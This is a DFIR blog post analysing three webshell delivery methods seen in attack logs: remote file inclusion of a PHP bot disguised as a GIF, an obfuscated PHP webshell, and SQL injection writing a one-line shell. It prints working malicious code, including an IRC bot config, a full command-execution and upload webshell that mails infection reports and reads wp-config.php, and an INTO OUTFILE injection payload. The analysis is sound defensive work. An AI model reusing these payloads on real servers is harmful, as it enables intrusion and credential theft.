dfir it!

responding to incidents with candied bacon

Webshells - Every Time the Same Purpose, Every Time a Different Story… (Part 1)

It’s nothing new to say that every moment hundreds of thousands requests with malicious payloads are hitting web servers around the world with bad intentions. Probably you’ve seen it many times in many different forms. I would like to take a deeper look at some of them: webshells.

These attacks are really common nowadays because of the nature of the Internet. Millions of web servers seems to be attractive targets for attackers. When you think about the role of the web servers in the organizations then the attractiveness of such targets is even greater.

Intro - before you start testing your luck

Over the years the Internet has changed. Web servers are not only responsible for displaying simple private or business websites. Development of languages such as JavaScript, PHP, Python or Ruby have already begun to play a significant role in business applications, online shops, internet entertainment, blogs or others. Those applications are often created using off the shelf products accessible to the rest of the world which results in numerous vulnerabilities. Who didn’t hear for instance about another vulnerability in Wordpress or phpBB recently? Such popular web applications have become the main target for the groups trying to build their botnets or spread malware. When another 0-day is published, the attackers try to obtain access to victim machines on a large scale. They start massive scanning for vulnerabilities as long and wide the Internet is. Some of attacks aimed at the web servers, can be more severe if web server become a gateway to the internal infrastructure - more on that later.

First act - try and you might get lucky today

I’m going to present three different examples how attackers try to bypass security measures and upload webshells on target systems - including RFI (Remote File Inclusion) and SQL injection.

Hiding webshell code inside the well-known file format

Below is a log entry presenting an attempt to execute code using RFI vulnerability.

1
2
3
4
Path:
GET /B=1&From=remotelogi‌n.php&L=hebrew&Last‌Check=http://sxxxxxxo.no/byroe.jpg??
Source IP: 185.X.X.53
GEO: MADRID ES , Onestic_Innovacion_y_Desarrollo_SL , singularcomputer.es

Many of the common RFI exploit scripts, as well as attack payloads sent by hackers append the ? symbol to the included (malicious) URL. In order to avoid the issues with developer supplied strings appended to the URL by the application. It is similar to SQL injection utilizing comment specifiers (--, ;-- or #) at the end of their payloads.

Attacker tried to trick the web application to include a JPG file from the remote server. Is it really a JPG image? Let’s take a closer look:

1
2
3
4
5
6
0000000: 4749 4638 3961 013f 013f 3f3f 3f3f 3f3f  GIF89a.?.???????
0000010: 3f3f 3f21 3f04 013f 3f3f 3f2c 3f3f 3f3f  ???!?..????,????
0000020: 013f 013f 3f44 013f 3b3f 3c3f 0d0a 0d0a  .?.??D.?;?<?....
0000030: 7365 745f 7469 6d65 5f6c 696d 6974 2830  set_time_limit(0
0000040: 293b 200d 0a65 7272 6f72 5f72 6570 6f72  ); ..error_repor
0000050: 7469 6e67 2830 293b 200d 0a0d 0a63 6c61  ting(0); ....cla

As you can see above, it’s not an image at all - although it contains a valid GIF file header. Trustwave has an interesting blog post that provides more details on how attackers can hide malicious code in the image files. Let’s analyze the beginning of the PHP code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GIF89a^A?^A??????????!?^D^A????,????^A?^A??D^A?;?<?

set_time_limit(0);
error_reporting(0);

class pBot
{
var $config = array("server"=>"irc.malink.biz",
                  "port"=>"6667",
                  "pass"=>"on", //senha do server
                  "prefix"=>"MalinK-",
                  "maxrand"=>3,
                  "chan"=>"#maza",
                  "key"=>"on", //senha do canal
                  "modes"=>"+p",
                  "password"=>"on",  //senha do bot
                  "trigger"=>".",
                  "hostauth"=>"Tukang.sapu " // * for any hostname
                  );
var $users = array();
function start()
{
...

Class pBot defines an array with all the config information. Probably server and port fields caught your attention as it provides information about C&C that potential bot will be trying to communicate to. Before we check what is behind the irc.malink.biz, I would like to know something more about domain malink.biz itself. Using Passivetotal service we can check the history of that domain and actual whois records.

malink.biz

Owner from USA with all personal data available?! Is this what you would expect from suspicious domain? Maybe a homepage will give us some answers…

nothingsecure…OK, now it seems to be more logical :) Info from IRC is also giving clear answer about intentions:

Ok, so let’s take another step forward and focus on irc.malink.biz.

1
2
3
4
irc.malink.biz.       14384    IN    A    195.30.107.222
irc.malink.biz.        14384    IN    A    109.74.203.175
irc.malink.biz.        14384    IN    A    167.114.67.197
irc.malink.biz.        14384    IN    A    167.114.68.120

They care about failover ;)

To sum up geo - server in Paris received a crafted request from host in Madrid with a link to the domain sxxxxxxo.no (Columbus, OH) to download a file byroe.jpg with embedded webshell. Inside of the file, we found IRC server irc.malink.biz which resolves to more than one IP - load balancing DNS records using round robin method (Germany, UK, Canada).

How does it look like ? :)

Virustotal confirms AV detection rates seems not too bad. At this point, it’s worth to mention that it’s NOT good to upload any files to VT as a first step of the analysis. Start with OSINT research. For example, before you upload the file, check if file’s hash is not already stored in VT database. Sharing potentially malicious files (remember that VT database is public!) might warn an attacker and give him a chance react quickly.

Images are not the only way how attackers try to bypass the WAF.

Hiding webshell using code obfuscation

The attackers might try to hide their intentions by encoding and compressing the malicious code. This allow to bypass some of the filters and signatures used by WAFs. Another RFI attack:

1
2
3
Path: GET /src=http%3A%2F%2Fim‌g.youtube.com.vxxxxxxxd.org%2Fmyluph.php
Source IP: 93.X.X.206
CEO: AMSTERDAM NL , Digital_Residence_B.V. , curhosting.com

Content of the suspicious file:

1
<?php eval(gzinflate(str_rot13(base64_decode('rUp6Yts2EP68APkPDHhANppV7pZvg3B7zRxsZNvYmeUMA5JAoCTacyORglXF8YL89x0pyS/Ny9KiToDY9/rcw+MdULNZcX5TRpEpxnT1c+N1aodaRH2PVlZIveZ7rucNU8NYKyBfyI1o3XX8Z7+7RrtykqlD5FyhDneCRnpOA/ioHcZ/u+NYfDqZnPunI2KCr7Wa8S9b6rH714XrWvyL8aAwCFG0BAtZIoKWhM8Qa9BDoSuuUHh/rM0kmdKkGUQw/cA483SA0tJPPxERtUn4SoYNZ1+TNMwzppYQ3jvuu/7Z6MSFAKN+Hx897O7QS9IXrIZgcUXTLKVMBzLOhUfBkpOE1koVTMVf//jkcQw0lTXTGyUyCPKc09g9G1rcDaeEsLiOgXuREX7YPPww0xI7FAneVNiwhPfxKZEsU3/oIyEczZVXW45G8QSMSKVc8cE58nVpWDWIsoIrjkA6MPSKDMQVQXlDPzry8oTXUT2ya/vWMMSm9ap6/mcnl0kYC0Foy+iOkSLPT7rZA5bXGw/OJ35/8NkdHp+5lumDiFfFQ3R6aDLqXZy5w4k/Ho0m1rWNnVJtkIpR2Ok81T2R0YLUIsM+Kk80Csg/sG5Nr3eYSdEwYBTOBcJ6xUdZu4GY0RgdIG2XxoKptkaI207W1SWUtkYB91ayf3bnFxSKGA7nWr/ff++63UJHsRuCPDInAUToI4kYHD+fVviy9+oocie0EMtPO4hWa5NmaXTnEv3aeTZfH1MRBT4tJHuEZjqGirXvs/4/r/0hWhMMu9hesXTjthOsnHgg9GZ11A6ucBsOywcBnLAywm3Dxo3X5riQptacUh0TKUzCVIiwV25wNFsrdF8rN269Kp9hUFWIaHD6uXbKxmmYds5QxQRU6QKSIX0vwlJHzIdDi4pbR8s7RXJMKnFd6/ctxzKXyKj2tC6m3KgaB++0IqMqzzjSEhuMqx6935CbG03Kn1dkaPUtOcD6+SRyIlqZBZRyCVf0+AOmz/U+QMRj0MG4+zKhPZEkhFQVgXrG01whtVl2ByttpzDSHGpjmFFrW+vlTsLW+iIOU7ckzuE7/SfMFQUXVIPrTVTbYCmckYmS5LFvKcmUsTuIiCIV+KoiXdD/R2QBN55RqM9vdypktPWjguYsiigvAcsC/pbBFPxYtWFC/RWXOX8ror2Ib1UXxruFNk55xNeEFt7v3pdsOF3oDxiFMZGyo8iWUAGy1OFAregtCt6ianAzdcYurcK52g258YiYXkXp+hrs1QyOyqeEA0H3U25piV4e3qVIRG9dg50xMq2YiFvqF9F25HiD+pMuKlb9wg3WxwqNetKUYH5VKF16MVeqroDlQSM9Gh5DsUjQlt7Lw5BXiRSI7K/Dwfx3nSB8hB7MhXtRZdn3FctjWgxypTKJzMItJ1ua0e4LIx/bZUHj2KdqNKzrVXOwFVrkdV+8NV22nwHJGoIoMawV3wtOfBMGmahn9RKBzwBPH5hiFgxRgAUjbt/YDvzC8wJRRjYzD4xTBdD4er6D0Grgtm+JDm9vPQe9iBgCHLpoow+/CvqRLFZZ5uh2E2bpB8OT0RPqxZwp2h263uAYvZDgRt5pVxga2+/d3Z1pzPgNGrufbr6ejsaT3sUEDW3w2k6ncLffweUzZ7FL2GPx88TOBLQfg7fYAeMRPAUlI/oh62sJQ7+UQVGnBFOsE/h4/Yxa9eTQqWB56f8JgkyBDL92mh+t1orufw==')))); ?>

This is a typical example of obfuscated PHP code. It will be passed to the eval() function for execution, but before that it needs to be:

  • base64 decoded
  • ROT13
  • inflated

There is also a more troublesome version of this. Imagine multiple layers of obfuscated code using the same functions as presented before. Obtaining the original code requires repeated decoding, so manual work with the PHP interpreter ceases to be comfortable. In case you stumble upon such sample then I suggest to use phpdecoder.

Here’s the code after deobfuscation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
error_reporting(0);
if (!isset($_SESSION['bajak']))    {
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "ada yang inject \n$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor");
$_SESSION['bajak'] = 0;
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT']."/wp-pomo.php";
rename($source, $desti);
}
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF";}
else {$security= "SAFE_MODE : ON";}
echo "<title>bogel - exploit</title><br>";
echo "<font size=3 color=#FFF5EE>Ketika Sahabat Jadi Bangsat !<br>";
echo "<font size=3 color=#FFF5EE>Server : irc.blackunix.us 7000<br>";
echo "<font size=3 color=#FFF5EE>Status : sCanneR ON<br><br>";
echo "<font size=2 color=#FF0000><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=#FF0000><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#FF0000><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\\')){
if($u!=strlen($cwd)-1){
return $cwd.'\\';}
else{return $cwd;};
};
}
echo '<form method="POST" action=""><font size=2 color=#FF0000><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="eXcute"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#FF0000><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#FF0000><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." :D "; }
}
if(isset($_POST['command'])){
$cmd = $_POST['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($cmd)."</font></pre>";
}
elseif(isset($_GET['cmd'])){
$comd = $_GET['cmd'];
echo "<pre><font size=3 color=#FFF5EE>".shell_exec($comd)."</font></pre>";
}
elseif(isset($_GET['smtp'])){
$smtp = file_get_contents("../../wp-config.php");
echo $smtp;
}
else { echo "<pre><font size=3 color=#FFF5EE>".shell_exec('ls -la')."</font></pre>"; }
echo "<center><font size=4 color=#FFF5EE>Jayalah <font size=4 color=#FF0000>INDO<font size=4 color=white>NESIA <font size=4 color=#FFF5EE>Ku</center>";
?>
<link REL="SHORTCUT ICON" HREF="http://www.forum.romanisti-indonesia.com/Smileys/default/b_indonesia.gif"></link><body bgcolor="#000000"></body>

First part of the code is sending email confirmation about infection to [email protected]. After that there is a code responsible for command execution on infected system and printing output on the page. “Production” example found on the Internet:

As you can see an attacker uploaded a few more “add-ons” like Mailer-1.php, Mailer-2.php, 1337w0rm.php etc.

Again I use VirusTotal to check AV detection ratio:

This time not so good - most of AV engines did not recognize file as suspicious.

Delivering webshell using SQL Injection

Take a closer look at the following example:

1
UNION SELECT NULL,"<? system($_REQUEST['cmd']); ?>", NULL INTO OUTFILE "/var/www/webshell.php" --

First of all attacker needs a SQL Injection vulnerability. Next a specially crafted request will inject PHP code which will be saved on the server.

Explanation:

1
<? system($_REQUEST['cmd']); ?>

This is a simple webshell that will be used to execute commands on the web server. Depending on the SQL injection vulnerability attacker needs to place it in appropriate column. In this example the table has three columns. Code will be placed in the second one with others set to NULL.

1
INTO OUTFILE

This SQL command allows attacker to write the webshell code to an arbitrary file.

1
"/var/www/webshell.php"

Path where webshell will be stored. Important thing to note is that attacker needs to find directory on the server with write access e.g. temporary folders. In addition to that crooks have to find a way to force application to execute webshell script in this case this can be achieved via LFI. Following example includes all the above dependencies.

After executing the SQL query the webshell file is created. Now the attacker can interact with the webshell by simply sending a HTTP GET request and defining the following URL:

1
http://www.vulnerablesite.com/webshell.php?cmd=ls

The directory listing of /var/www will be returned by the server. Et voilà!

At the end, check how VirusTotal looks for that simple one-line webshell:

Perfectly invisible ;)

If you would like to read or watch more, take a look at article on greensql or YouTube movie.

With three brief examples we’ve just scratched the surface of this interesting topic. There are many other different ways to place and execute arbitrary code on a remote server and interact with OS. In the second part I’d like to focus on a case which shows how dangerous webshells can be for a business infrastructure and describe methods to protect against them.

Comments